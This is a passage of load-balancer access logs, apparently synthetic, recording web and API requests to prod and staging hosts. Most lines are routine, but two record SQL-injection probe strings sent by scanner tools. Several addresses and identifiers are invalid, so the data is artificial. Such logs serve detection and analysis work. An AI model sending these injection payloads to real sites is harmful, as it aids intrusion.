Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d67f-668e7dc3bc574e4faa464fa2" "prod-web-alb.example.com" "-" 2 2024-11-01T02:11:59.531559Z "forward" "-" "-" "10.0.167.38:443" "200" "-" "-" +https 2024-11-01T02:12:01.041957Z prod-web-alb 1.124.148.2:61873 10.0.222.15:443 0.006315 0.448777 0.048118 200 200 50 7818 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d681-d80266f8f3d34309874dfe5b" "prod-web-alb.example.com" "-" 1 2024-11-01T02:12:01.041957Z "forward" "-" "-" "10.0.222.15:443" "200" "-" "-" +https 2024-11-01T02:12:02.011166Z prod-web-alb 193.27.228.135:61056 10.0.191.113:443 0.086494 0.079131 0.017192 200 200 873 6847 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d682-4cf4e1208eca4da3899a6cd1" "-" "-" 5 2024-11-01T02:12:02.011166Z "forward" "-" "-" "10.0.191.113:443" "200" "-" "-" +https 2024-11-01T02:12:03.679331Z prod-web-alb 32.135.6.178:62101 10.0.115.13:443 0.093186 0.333011 0.054136 200 200 357 5511 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d683-1ae4e5da7ae348e2a1e0fdb0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:03.679331Z "forward" "-" "-" "10.0.115.13:443" "200" "-" "-" +https 2024-11-01T02:12:04.657006Z prod-api-alb 22.253.67.253:42542 10.0.19.10:443 0.068420 0.291710 0.044364 200 200 497 6948 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d684-7bf03564b0cd4abf867932db" "prod-api-alb.example.com" "-" 6 2024-11-01T02:12:04.657006Z "forward" "-" "-" "10.0.19.10:443" "200" "-" "-" +https 2024-11-01T02:12:05.025229Z prod-web-alb 211.47.154.28:27720 10.0.67.144:443 0.093040 0.236152 0.062296 200 200 831 9926 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d685-54f36f2fdc0a4a9b8df5d588" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:05.025229Z "forward" "-" "-" "10.0.67.144:443" "200" "-" "-" +http 2024-11-01T02:12:06.539422Z staging-alb 185.181.15.100:56335 145.206.208.35:8080 0.015891 0.214836 0.071401 401 401 54 10925 "GET /administrator HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d686-13504998970945cfa5e9345c" "-" "-" 9 2024-11-01T02:12:06.539422Z "forward" "-" "-" "145.206.208.35:8080" "401" "-" "-" +http 2024-11-01T02:12:07.745243Z staging-alb 254.247.183.247:24193 230.105.151.1:8080 0.003310 0.492800 0.069633 200 200 444 605 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d687-04284daa3d394422a3f5a531" "staging-alb.example.com" "-" 2 2024-11-01T02:12:07.745243Z "forward" "-" "-" "230.105.151.1:8080" "200" "-" "-" +https 2024-11-01T02:12:08.011962Z prod-api-alb 87.201.90.61:55664 10.0.252.58:443 0.003913 0.280691 0.099150 200 200 727 5869 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d688-afaacaed82614134a44512fd" "prod-api-alb.example.com" "-" 4 2024-11-01T02:12:08.011962Z "forward" "-" "-" "10.0.252.58:443" "200" "-" "-" +https 2024-11-01T02:12:08.621210Z prod-api-alb 235.70.202.134:19453 10.0.48.149:443 0.077019 0.411818 0.075830 302 302 481 10330 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d688-5ccf0db2360544f394451255" "prod-api-alb.example.com" "-" 1 2024-11-01T02:12:08.621210Z "forward" "-" "-" "10.0.48.149:443" "302" "-" "-" +http 2024-11-01T02:12:09.134385Z staging-alb 56.103.11.168:24870 67.175.32.9:80 0.037642 0.656736 0.068458 200 200 955 9314 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d689-58ca6834c8df410f823327f2" "staging-alb.example.com" "-" 10 2024-11-01T02:12:09.134385Z "forward" "-" "-" "67.175.32.9:80" "200" "-" "-" +https 2024-11-01T02:12:10.553232Z prod-web-alb 194.141.254.224:30137 10.0.148.102:443 0.093789 0.085172 0.035514 200 200 545 14366 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d68a-2c8003fdcad5403eb8277cd0" "-" "-" 5 2024-11-01T02:12:10.553232Z "forward" "-" "-" "10.0.148.102:443" "200" "-" "-" +https 2024-11-01T02:12:11.099483Z prod-api-alb 30.174.7.58:54284 10.0.30.118:443 0.025539 0.034354 0.067421 302 302 915 10675 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d68b-70665ab6826745ea9521b104" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:11.099483Z "forward" "-" "-" "10.0.30.118:443" "302" "-" "-" +https 2024-11-01T02:12:12.394810Z prod-api-alb 250.25.32.233:56539 10.0.10.131:443 0.077134 0.100736 0.090935 404 404 183 2280 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d68c-644f90cc51d34f5c8ba2aaa8" "prod-api-alb.example.com" "-" 8 2024-11-01T02:12:12.394810Z "forward" "-" "-" "10.0.10.131:443" "404" "-" "-" +https 2024-11-01T02:12:14.174939Z prod-web-alb 52.153.135.141:59512 10.0.2.33:443 0.081438 0.453641 0.051039 200 200 239 11702 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d68e-51848f43478f4fc68fdc71b5" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:14.174939Z "forward" "-" "-" "10.0.2.33:443" "200" "-" "-" +https 2024-11-01T02:12:15.962063Z prod-web-alb 99.194.216.7:54548 10.0.135.169:443 0.094695 0.215833 0.094362 302 302 888 10812 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d68f-c9216a5fec8648e1a1111b97" "prod-web-alb.example.com" "-" 0 2024-11-01T02:12:15.962063Z "forward" "-" "-" "10.0.135.169:443" "302" "-" "-" +https 2024-11-01T02:12:17.062111Z prod-api-alb 139.199.219.92:30933 10.0.210.248:443 0.078537 0.104483 0.028989 301 301 107 1655 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d691-981900485e0f4594b77f10ac" "prod-api-alb.example.com" "-" 8 2024-11-01T02:12:17.062111Z "forward" "-" "-" "10.0.210.248:443" "301" "-" "-" +https 2024-11-01T02:12:18.085360Z prod-web-alb 15.251.103.71:46103 10.0.199.176:443 0.031760 0.221769 0.062802 302 302 483 2861 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d692-147e245b9172478f914f32de" "prod-web-alb.example.com" "-" 5 2024-11-01T02:12:18.085360Z "forward" "-" "-" "10.0.199.176:443" "302" "-" "-" +https 2024-11-01T02:12:19.891311Z prod-web-alb 34.104.153.199:58122 10.0.146.210:443 0.041637 0.382606 0.005826 200 200 941 3922 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d693-2c06f0716f734470910165fd" "prod-web-alb.example.com" "-" 3 2024-11-01T02:12:19.891311Z "forward" "-" "-" "10.0.146.210:443" "200" "-" "-" +https 2024-11-01T02:12:21.245248Z prod-api-alb 19.232.183.216:62574 10.0.245.63:443 0.085525 0.457609 0.028762 200 200 250 11239 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d695-0bb01eff86a14af78bbf729b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:12:21.245248Z "forward" "-" "-" "10.0.245.63:443" "200" "-" "-" +https 2024-11-01T02:12:21.731979Z prod-api-alb 33.174.26.255:16963 10.0.251.216:443 0.073037 0.055929 0.043011 200 200 792 11881 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d695-190d227a43514be0a3f67749" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:21.731979Z "forward" "-" "-" "10.0.251.216:443" "200" "-" "-" +https 2024-11-01T02:12:22.373908Z prod-web-alb 56.217.15.17:58736 10.0.8.52:443 0.037359 0.234963 0.029909 200 200 868 1425 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d696-c04a48584e8b4fbdb806bf5c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:12:22.373908Z "forward" "-" "-" "10.0.8.52:443" "200" "-" "-" +http 2024-11-01T02:12:23.831841Z staging-alb 80.44.142.153:18822 101.72.120.164:8080 0.049343 0.387297 0.123728 302 302 727 14795 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d697-9a545ad4a64b4d568c7524c5" "staging-alb.example.com" "-" 8 2024-11-01T02:12:23.831841Z "forward" "-" "-" "101.72.120.164:8080" "302" "-" "-" +https 2024-11-01T02:12:24.273162Z prod-web-alb 220.215.16.134:30274 10.0.221.98:443 0.041009 0.215207 0.065331 200 200 319 922 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d698-94f45ad16a384ac880ecefe5" "prod-web-alb.example.com" "-" 4 2024-11-01T02:12:24.273162Z "forward" "-" "-" "10.0.221.98:443" "200" "-" "-" +https 2024-11-01T02:12:25.825366Z prod-web-alb 132.146.241.147:30488 10.0.38.106:443 0.037133 0.496462 0.062190 301 301 371 6153 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d699-fc03aad6c54d4e60956c917e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:25.825366Z "forward" "-" "-" "10.0.38.106:443" "301" "-" "-" +https 2024-11-01T02:12:26.932596Z prod-api-alb 182.68.43.226:52021 10.0.3.11:443 0.036662 0.394265 0.034124 404 404 402 10755 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d69a-02032ef01b404a23819b7c3c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:26.932596Z "forward" "-" "-" "10.0.3.11:443" "404" "-" "-" +http 2024-11-01T02:12:27.458075Z staging-alb 124.31.234.102:37965 185.194.74.224:80 0.038590 0.293409 0.127020 301 301 122 14412 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d69b-c021bb7ef8e44c6d9942d453" "staging-alb.example.com" "-" 0 2024-11-01T02:12:27.458075Z "forward" "-" "-" "185.194.74.224:80" "301" "-" "-" +https 2024-11-01T02:12:29.018139Z prod-api-alb 20.122.251.12:19905 10.0.69.20:443 0.063939 0.070453 0.030879 200 200 862 8687 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d69d-b189d8d8b50643b6bd7ddf83" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:29.018139Z "forward" "-" "-" "10.0.69.20:443" "200" "-" "-" +https 2024-11-01T02:12:29.805398Z prod-web-alb 231.10.76.107:29024 10.0.173.238:443 0.005770 0.356496 0.088568 302 302 360 10889 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d69d-e77637f830d94e48999caeb1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:12:29.805398Z "forward" "-" "-" "10.0.173.238:443" "302" "-" "-" +https 2024-11-01T02:12:31.434243Z prod-web-alb 45.155.205.170:26276 10.0.38.244:443 0.080199 0.261891 0.050545 500 500 600 7909 "GET /metrics HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d69f-f1106e7db0a04aa8bebd13f1" "-" "-" 2 2024-11-01T02:12:31.434243Z "forward" "-" "-" "10.0.38.244:443" "500" "-" "-" +http 2024-11-01T02:12:31.716804Z staging-alb 9.241.134.73:61700 207.121.251.231:8080 0.043447 0.747836 0.106502 302 302 305 2978 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d69f-2881bee1363e44be8172387e" "staging-alb.example.com" "-" 5 2024-11-01T02:12:31.716804Z "forward" "-" "-" "207.121.251.231:8080" "302" "-" "-" +https 2024-11-01T02:12:32.202172Z prod-web-alb 128.4.17.233:30518 10.0.148.6:443 0.024247 0.008665 0.083541 200 200 289 2510 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6a0-433bff145b034d89af318dfa" "prod-web-alb.example.com" "-" 2 2024-11-01T02:12:32.202172Z "forward" "-" "-" "10.0.148.6:443" "200" "-" "-" +http 2024-11-01T02:12:34.039451Z staging-alb 222.231.190.238:39172 75.86.234.159:80 0.103148 0.546842 0.112591 404 404 268 2650 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6a2-4a01000761b2443988aa3fa1" "staging-alb.example.com" "-" 5 2024-11-01T02:12:34.039451Z "forward" "-" "-" "75.86.234.159:80" "404" "-" "-" +http 2024-11-01T02:12:34.317671Z staging-alb 185.181.104.251:60299 130.12.138.9:443 0.030422 0.208230 0.046359 200 200 435 5263 "GET /search?q=1' UNION SELECT HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6a2-9229e19b9d3647a28ce5b80f" "-" "-" 8 2024-11-01T02:12:34.317671Z "forward" "-" "-" "130.12.138.9:443" "200" "-" "-" +https 2024-11-01T02:12:35.603107Z staging-alb 203.231.75.110:10774 161.248.81.93:8080 0.069145 0.160756 0.093182 404 404 76 13598 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6a3-f4f3cfb1b6d3484b87a78cc8" "staging-alb.example.com" "-" 10 2024-11-01T02:12:35.603107Z "forward" "-" "-" "161.248.81.93:8080" "404" "-" "-" +https 2024-11-01T02:12:36.658140Z prod-web-alb 118.29.135.137:15960 10.0.157.59:443 0.071913 0.281790 0.065847 200 200 402 5561 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6a4-e6f23f82b7d1415899f6c15e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:12:36.658140Z "forward" "-" "-" "10.0.157.59:443" "200" "-" "-" +https 2024-11-01T02:12:37.451770Z prod-web-alb 237.3.148.59:23784 10.0.203.81:443 0.082951 0.348164 0.081221 301 301 310 3138 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6a5-708c05127ae84bc2b18a806f" "prod-web-alb.example.com" "-" 3 2024-11-01T02:12:37.451770Z "forward" "-" "-" "10.0.203.81:443" "301" "-" "-" +https 2024-11-01T02:12:37.682527Z prod-api-alb 199.219.180.56:13711 10.0.163.15:443 0.088925 0.006469 0.093008 200 200 839 8065 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6a5-856b343cedbf4c939389af5f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:37.682527Z "forward" "-" "-" "10.0.163.15:443" "200" "-" "-" +http 2024-11-01T02:12:39.570322Z staging-alb 145.134.247.243:54586 14.241.33.206:80 0.037901 0.576331 0.124378 301 301 367 6688 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6a7-2c506a04033447e78b39d409" "staging-alb.example.com" "-" 10 2024-11-01T02:12:39.570322Z "forward" "-" "-" "14.241.33.206:80" "301" "-" "-" +https 2024-11-01T02:12:39.748345Z prod-api-alb 85.111.188.92:51132 10.0.211.184:443 0.042258 0.227361 0.010776 200 200 875 5976 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6a7-6828175a7cb0497bb8488a26" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:39.748345Z "forward" "-" "-" "10.0.211.184:443" "200" "-" "-" +https 2024-11-01T02:12:41.065029Z prod-web-alb 56.223.51.34:58121 10.0.149.31:443 0.085966 0.454184 0.064812 404 404 746 3321 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6a9-1a3e78bbf3bb499aa1175d90" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:41.065029Z "forward" "-" "-" "10.0.149.31:443" "404" "-" "-" +https 2024-11-01T02:12:42.391246Z prod-web-alb 90.146.243.176:14948 10.0.128.181:443 0.001303 0.464293 0.081416 200 200 285 10369 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6aa-3e72a0bb244740c38b8a9d04" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:42.391246Z "forward" "-" "-" "10.0.128.181:443" "200" "-" "-" +https 2024-11-01T02:12:42.646273Z prod-web-alb 140.221.88.20:40129 10.0.201.60:443 0.067741 0.444670 0.074015 200 200 951 10349 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6aa-979a62aaea1047508a861e85" "prod-web-alb.example.com" "-" 0 2024-11-01T02:12:42.646273Z "forward" "-" "-" "10.0.201.60:443" "200" "-" "-" +https 2024-11-01T02:12:43.075608Z prod-web-alb 126.249.173.245:11757 10.0.30.218:443 0.026328 0.154959 0.039401 200 200 528 14856 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ab-549c29ca422a49ffb14a5156" "prod-web-alb.example.com" "-" 7 2024-11-01T02:12:43.075608Z "forward" "-" "-" "10.0.30.218:443" "200" "-" "-" +https 2024-11-01T02:12:44.883648Z prod-api-alb 44.57.190.149:37939 10.0.72.191:443 0.019374 0.123949 0.012977 301 301 764 4422 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6ac-22685d5ddb1147c89d50f5a9" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:44.883648Z "forward" "-" "-" "10.0.72.191:443" "301" "-" "-" +http 2024-11-01T02:12:45.703523Z staging-alb 199.14.153.79:34743 133.95.146.81:443 0.099105 0.330373 0.035641 404 404 835 6919 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6ad-559074d05a9d437a9c237c1e" "staging-alb.example.com" "-" 4 2024-11-01T02:12:45.703523Z "forward" "-" "-" "133.95.146.81:443" "404" "-" "-" +http 2024-11-01T02:12:45.907218Z staging-alb 139.180.91.27:38322 11.45.148.137:80 0.036579 0.648222 0.149015 200 200 613 4072 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6ad-22f48f374c8b447cb96800a5" "staging-alb.example.com" "-" 8 2024-11-01T02:12:45.907218Z "forward" "-" "-" "11.45.148.137:80" "200" "-" "-" +https 2024-11-01T02:12:46.976878Z staging-alb 73.175.104.215:12280 69.27.45.17:80 0.011544 0.138103 0.118133 302 302 535 4892 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6ae-ec1710f03ceb4f59b368d42f" "staging-alb.example.com" "-" 0 2024-11-01T02:12:46.976878Z "forward" "-" "-" "69.27.45.17:80" "302" "-" "-" +https 2024-11-01T02:12:47.335106Z prod-web-alb 23.143.6.62:64450 10.0.32.135:443 0.064135 0.249074 0.083887 404 404 703 9665 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 